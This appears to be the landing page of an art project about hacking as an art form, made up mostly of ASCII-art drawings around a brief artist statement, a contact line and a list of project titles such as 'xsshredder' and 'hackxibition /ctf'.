                                                 yNMMd+.                       :MMMMMh`   .+Mm: -mMd. +MM.  :MMo-.NMM/    sM/.MMMMMd`  .mMMd:                                  `oNMN.                     mMMMM/`                `ommshNh/y+o` . +:  :Mo  
                                                  -mMMMNo`                     /MMMm-    -NMy.`oNN+` :NMM- `dMm`odMMMh   `dM-/MMMm/`  -NMN+`                                     +mMN+`                   `sMMMMm                   /md/yy   y-++ +- `my  
                                                   .odNMMd:                    oMMm`   `dMm:`:mNo  `+MMMN`.hMMmmMh/MMm.  yMy:mMMd-  `sNMMM+`                                       /NMN+                 .yMMMMMds                    :h. `- os-NyN`/mMs  
                                                      :mMMMh.                 /mMMM: `+md/`/mMy.  .mNsNMNsNMMMMd:-dMM`  oMMyMMm/`  :mMMMMMMMd+`                                     `hMM/               `mMMMMMMMMy                 `. /`  h`/moMh+ hMMo  
                                                        /MMMd:`          .:hmNMMmdMNsNMh``sMMo  `oNh`-NMMMMMMMh `oMMh  :NMMMMm.   :NMMMMMMMMMMNso-                                    +MMh.             /MMMMMMMMMy              ss /h.m. `N+oNs.  sMMm`  
                                                         /MMMMNmds+:oosdmMMNds+- -MMMms`+NMh.  -dms`-mMd+smMNo`/NMMM:`oMMMMN/.  -yMMMMMMMMMMMMMMMd                                     -sMMy:`         `mMMMMMMdds:``           `/`/NshN+.`dmN+  .smMms   
                                                          dMMM+/yhmdmdNho++:      mMM`-hMMy` .yNd. sNNo -dMd.`yMMMMh:hMMMMm.  `:NMMMMMMMMMMMMMMMM+                                       .hNMh.         /MMMMMMMMNmhy`           :hNddNsMssdd/   yMNo`    
                                                          -NMM-   ``````          +MMmNMd/  +NNy.:hMm. +NMy`-yMMMMyoNMMMNy.  +NMMMMMMMMMMMMMMMMMN-                                         .smNh:- `    sMMMMMMMMo:.- .`        `:.-dd+NMdm.`  `sMMN.     
                                                           :mM/`                 `mMMMMs` -yMh-`+mNs`/hMh:+yNy/NMMNMMMMh-  `yMMMMMMMMMNMMMMMMMMN:                                            `:+hNmmdo- /MMMMMMMMMNNmdy.           -+`/o-:`  -mmMMd:      
                                                            +MNy                :oMMMMh `+NMd``oMd- :Mm/.sMN+`oMMMNMMd:`  +dMMMMMMdMMddMdMMMMMN/                                                `-:odNm+mMMMMMMMMMNNsso-                    /NMMd+.       
                                                             oMMy`          -/+dNMdymMNohMd:`/dm/``sNo`:dMy--hMd/:hMs`  `sMMMMMMmsdMMMMMMMMMMN/                                                     `:yMMMMMMMMMMMm+/:o-             `` `+/oNMms`         
                                                              +MMmyyysooshymNMMNy/` .mMMMh`.oNy- /dN+./mMo`+mNo.-sdo   /hMMMMMNohNMMMMMMMmMMd:                                                        `yNMMMMMMMMMNdhhss`            yd`hMMNho.           
                                                             -dMMMMMNmNmmddms:..     oMMN-/mN/``oNo-.hMy:`yNd- +Ny`  `sNMMMMMNdmNNMMMMMmomMN-                                                          `.yMMMMMMMMMMMMddo`          .mMdMms:`             
                                                           `oNMd+mMN:...````         `sNMmMm:.ymNo`/mNs /dN/./hdo`  `yMMMMMMMmNMMMMMMd+.hMm/                                                              :sNMMMMMMMMMMMd`   `-`:/+hmMNy:.                
                                                         `/dMMy` dMm.                  hMMM/:dNh:`hNmo.oNy-.hMy`  `+dMMMMMMMMMMMMMMMy``yMM-                                                                 .+mMMMMMMMMMNo/-.yNdNMMmy+.`                  
                                                        -yMMd-` .NMy                   `oNMNNM+`+dNs.ymN+`:dmy`  `yMMMMMMmNMMMMMMMm/``yMN+           -/+-                                                     -hmNNMMMMMMMMNmMMNNmy.                      
                                                      -oNMNy.   `hMh`                    -mMM+-yNs--dNd/`yNh.  -shMMMMMMMNMMMMMMMh:-:yMM:          .yNNNNh/.                                                   `.-.-+:/odddhyo/--.                        
                                                     +mMMm-    .hMMM/                     sMMmNm:.yNMo`.dms   /NMMMMMMNMMMMMNNMMy+NMMMMs         `-dMm/-+yMNy+.                                                         ``                                
                                                    :MMMMm+.  .dMmNMd`                     sMMd-/hMN:.yd+.  .yNMMMMMMymMMMMNMMmyyNMMMMN`        .hMMh.    :ymNmo.                                                                                         
                                                    -MMMMMMNysdhoomMMo                     :MM+oNN+-.hd:   -mMMMMMNNmmMMMMMMMhdMMMMMMm/        .dMN+`       `-oNmy.                                                                                       
                              `                      oMMMNMMMMN..NMMMm:                ``  .MMNMN+`+ho`  `+NMMMMMmodmhMdNMMdydMMMMMMN-        :mMy.            .oNNh:`                                                                                    
                            /y.                      .NMMomMMMN. yMNhMh`              .md- .mMNo-:dy-   -dMMMMMNhsmmmNMmMMhyNMMMMMMN/       `yMN/`               ./dNds-                                                                                  
                           `Nm.                      `NMM+.dMMN- -NMsMMd`    .    s:  -NM/ `NMd`oNs`  `smMMMMMNmhNdmMNMNdodMNdMMMMd/       -mMd:                    :smNy:`                                                                               
                          `yN/                        oMMh /MMMs  hMMMMM-   +N-  .MN`  mM+ oMMNmN+   -dMmmMMNhhMMmmNMMN:omMhdMMMMy`     .+hNNo`                       `/hNmh-`                                                                            
                          yMs-`                       -NMd `mMMd` :MMMMMo   yM:  .dN` .MMs:mMMNy.  `smMMMMMN+yMMMMdNMs/+NMMMMMMMm.   `-sNMNy.          ./o+s.            .omNdo-                                                                          
                  +s     `mm/+-                        dMN` :MMM+  mMMMMh   mM/  .Mm  hMMMMMMd:  `:dMMMMMMhdNMMNyMMN+-dMMMMMNs/ymmoshmMMMd.           .NMMMMm/.             -sNMy-`                                                                       
                 /MM+   -dmo.                          yMM/ .NMMo  yMMMMd  :MM+ `dMN`:MMMMMNy   -dMMMMMMNsNMMMMhMMy:sNdNMMMm:  `hMMMNMMMs`           /mMdsNMMMMy-             ./yNh/                                                                      
                -NMM/   -mmdo.                         -NMh  :MMN` :MMMMm`-mMd.`dMN:.NMMMMd-  .oMMMMMMMmdNMMdmMMMs-dmMdMMMh. +omNmooNMd/           -hMNyoNMMMMMMMs/.             .odho-                                                                   
               .mMMM/  :mMh:-`                         .mMM. .mMM+  hMMMh +MM- sMMo/mMMMN:`  .NMMMMMMMhNMMMsdMMh-yNm/MMMm:`:dMMs..yNMy`           :mMd:+MMMMMMMMMMMNh.              /mMd:`                                                                
              `mMMMM-  yMMmo/`                          hMM:  oMMm  :MMM/ yMN./NMMMMMMMo.  `+mMMMMMMymMMMdoNMMo-hMMmMMMm.:dMms. :mMNo           .dMm+:hMMMMMNdNNMMMNMNdo`             +hNNy+.                                                             
              sMMMMs  /MMMhy.                           +MMo  -MMM+  sMM++MMMhMMMmdMMm:   .dMMMMMMNmNMMNyhMNhoyNMMMMMMhsyMms`  +NMs`           -mMo +MMMMMMMMMy :mMMMMMNmy:`             /dMmo.                                                           
             .NMMMMy  yMMMm:                            .NMN.  hMMy  /MMMMMMMMMh/omMy   `yNMMMMMN+dMMMNodMd-+NMNMMMMmyMMd+`  -yMd-           .dMM::yMMMMmsNMMMh   .+mMMNMNNN.             `-sMMd:                                                         
             hMMMMMy  hMMMNy`                           hMMN-  .MMm` `NMm+/dMm:.hMd/   +mMMMMNMh/dMMMMMMN+:mMMMMMMMMMMN+    /NMd`           sMmy-:mMMMMm.+MMMM+     `/yNMMMddho:             `+dNmy.                                                      
            .NMMMMM+ `hMMMd+                          `yMMMMs   mMM/  sMN.sMd--dMs`  `sMMMMMMMshMMMMMMMh/oNMNMMMMMMMNy.   .oMNs`          `hMy``sMMMMMs/s/dMMM+        `NMMMMhsdy:              `+mNd+.                                                   
            .NMMMMMy -dMMMy-                         /mMMMMMd`  .NMy  :MMNms:hMm/  .ymMMMMMMMMMMMMMMMN/:mMMMMMMMMMNo.    -NNy.           sNMy`.yMMMMy:sm-`NMMMo        +dyNmMMmddmmo-             `:sdNh:                                                 
            -MMMMMMy  dMMMmo                       `+MMMMMMMN-  .NMM:  mMN-oNh+.  -NMMMMMMNmMMMMMMMMd/:NMMMMMMMMMh-    .oNh:           .yMh+`sNMMMy:                      .dMMMMMMydd+`             `-hNh/`                                              
            -MMMMMMm` -dMm/--                     -dMMMMMMMMM/   yMMd  /MMhN/   `hNMMMMMMhNNMMMMMMmo-sNhmMMMMMMd+     :mN+            /NNo``yMNdNo`                          -dmmMMNmMNdho`            `.yMNh+.                                           
            `NMMMMMM/  yMMyo-                    .NMMMMMMMMMMd`  :NMM-  oNh:  `oNMMMMMMddNMMMhNMMh::mMmmMMMMMMh.    :sNm/           `sNd-./dMMMy.                      ``  ` :/`-hNMMMMMMMmy:`            -sdMmo-`                                        
             dMMMMMMm  `sy`-oy`                  sMNNMMMMMMMMM-   oMMy   .`  :yMMMMMMdydNMMdymMNs+NNhMMMMMMMms`   `sMNs`          `:hdy`/mMMhmo`                                 :msNmNMMMMMNdo-`           `/yNNmy-                                      
             sMMMMMMM:  ``+d+.                  :NMy.-oddMMMMMy   .NMM-     oNMMMMMMdoNMMMhdMNs/dMMmmMMMMMMh.    :hMh-           `sNo`.sNMMMd-                                 `oy+ho`.:sNMMMMMNd/`            ./hMNh+-                                   
             /MMMMMMMh   `o..o+`                +MM:   ``-omMMN.   mMMy   /hMMMMMMMMmNMMMMNMm/+NMMMMMMmNMMy`   `sNMo`          .hmm/ /mMdyms`                                 -y/:y:`    -odNMMMhNh+.            `:sdMNd+`                                
              /MMMMMMM/    ods.`               `NMy        :NMMs-` sMMN-odMMMMMMMMMMMMMMMMN/-sMMMMMMdshMNo`   -hMm+           -dNo`.+MMMNh-                                  :s: ``        `-yNMNMMMms-             `:hMMmo                               
              `hMMMMMMm`   /-+h:               sMM:         .ohmNd+hMMMNMMMMMMMMmNMMMMMMMy/ymMMMMMms.dMN/   `+NNs.          -ymd/ -dMNMMs`                                   .                -mMMMMMMNdo/`           .NMMy`                              
               `mMMMMMMh    -mh/+.            `NMs             .-odNMMMMMMMMMMMMMMMMMMMN+-mMMMMMMh.:dMm.   :dNm+`          `dMs`.sNMMmm:                                                       hhmMMMMMMMNy`         .hMmo`                               
                .dMMMMMMs`  `-yN-``           -MM:                `-/hddhmMMMMMMMMMMMMd+sNNdMMMmo``mMd.  .smd:`            `::`-hMMNy/`       What is this?                                    .yMMMMMMMN/`         -mMd.                                 
                 .yMMMMMMh.   /+oh-          .hMh`                    `  `:sdNMMMMMMN+:dNs-dMMh- -dMm`  /mM/                 `oNMmNo`                                                         .sMMMMMMMh/         `+Nm+`                                  
                   oNMMMMMh-   -hhhs`        oMM-                           `-oMMMMy--mm- oMMN- -mMd-`/yNd+                 :hNNMy-           Often you read that hacking is an art.
                    /mMMMMMNs`   :h.        `NMy                              .MMNo .dN: -MMm-  mMy``sMNo`                `yMMhms`            But what exactly is the art of hacking?
                     `+dMMMMMd/      `      /MN-                              yMMo  yM+  sMM/ `oMm`:mMN/                .yhMMMh/`             This work is an ongoing experiment that artistically and even more technically explores the relations between these two. 
                       `+mMMMMNy-          `hMm`                             oMMy  :Md  oNMm` hMMyymNs.                oNMMMNy`               For this purpose, existing artworks are explored and hacked to create new art and show new possibilities. 
                         .yNMMMMNy.`       oMM:                             -NMh` /MM: /MMM/ :MMMMMd-                .oNMMMm/s/  .`           Also see it as a new form of reception for digital artworks.
                           ./dNMMMNh.     -NMd`                            .mMm. -mMo -NMMN:oMMMMNy`               `/mMMMMh/mN-`+Nd           If you feel inspired, have other hacking related works in mind, or any general feedback or questions: 
                             `:yNMMMms-` `yMM:                             oMN- `dMy /do/ymMMMMNh.                -mMMMMMMhdMMMmMMN+-.`       feel free to write me:
                                `:ohmMNmysMMMs`                           -NMh  +NMoss.   -MMMN:                `oNMMMMMMMMMMMNMNy:-.           
                                     :oohdmNmNds:`                       .dMm. :NMMm-    :NMMMM+`              /sMMMMMMNdhNNh:ym-             mail+ät+hacking.art or @twitter
                                           ` `-/ohy/`                    hMM/ `mMN/`    `mMh+yNMd/`            -+dMMMMMh` +-  :.                
                                                  -oyy/`                yMM+  sMy-     :mMs   `/yNMo-             -sNMMMh``                   some old stuff                                                   
                                                     `/+oo.`           +MMd``sm+      :NM+        :sNy-              :yNmhN:                                                                                                                        
                                                         `:hd/`       `dMN.oms       oMm-           `odNy:`            `:yMMdo: /:+:          Thank you very much for reading!                 -mm+                                                                 
                                                            `:+os/`   oMMNNh.       sMd.               `/hNy-             +hMMMNMMMo`o.                                                       ydo                                   
                                                                -ody:sMMMh-       .dMy`                   `+md+`            `/mMMMMhNs :  .                                .+/NN/`          `ydo                                                          
                                                                   -oydh+        -NMy                        .smh/`            -smMMMMmd.ss`                          `hNMh.mMm:          .+Ny`                                                           
                                                                                +mN+`                          `/hmh/`           `-sNMMMNN+h+-:           :+d`       odMNoyhNs`          -mm+                                                             
                                                                               `dMM-                              .smmy:            .+yNmMMMhN/          .MMM.     `+Nms:hMh-          .yNy.  Articles:                                                                 
                                                                               `-ohy-                              `-sdmy:`           `/yNMMMhh-        /MMMo`  -odMs.sNN/           oNm-
                                                                Latest Shit:      `.oyo-                              `:yNm+.            .odNMMm-       .MMMy `-dMmsosMh:          `hNh.  1. weirdstalker    
                                                                                     `:sho:                              .+hms.            `-+mMN/      :Mh- -dNNooNNh/           +mm-`  2. pyndemic   
                                                                     H4CK1NG G00GL3     .sso:.                              .:sho-`           `:dMs:-.  ++.-oNMd--NN/`         `+hNo.  3. xsshredder    
                                                                                           `-yh/.                             `-+hh/`           `-yNNNdyN/oNMMy:ody.          /dm+.  4. bytesubstance      
                                                                           Coded Secrets    `-+dy:.                              `-+ys+.           ./hmMMMNddMNNm/          `yMm.   5. counteross      
                                                                                                ./yys:`                              .+hy/`           .+hNmsmMNo.          /dNo.  6. jodienum        
                                                                                                   `:shy:`                             .sdds:`          `:odNd/          -sNy-  7. fwtoj            
                                                                                                      ./yy+.                             `-+hds-           `.`         `+mN+  8. artasservice              
                                                                                                         .+y+-`                             `:ydy+-`                 `-hmh-  9. cryptoart               
                                                                                                            .-oo-`                             `/ydho-`             .yNh-  10. hackxibition /ctf                 
                                                                                                              `-+s/.`                             `:ymh-`         -hmm:`                    
                                                                                                                 `-/o+-`                             .+hh/.`    `+mm+.  more stuff:
                                                                                                                    ./s+-`                            `/hdho..+dMs.    
                                                                                                                      .:sy:`                             `+MMmNd+  Tool-assisted Tour
                                                                                                                          -ody/`                         `+mMm+.`   
                                                                                                                            `:+my+.                    .+mNmo  article about the work on networkcultures.org
                                                                                                                               `/ydy:`              `:hNmh/
                                                                                                                                  `:sdy/`         `/NMh/  Knowbotic Reverse
                                                                                                                                      +dmy+`   .+ymms:`
                                                                                                                                        `+ydy/yNMd-  Back to the top
                                                                                                                                           `odds-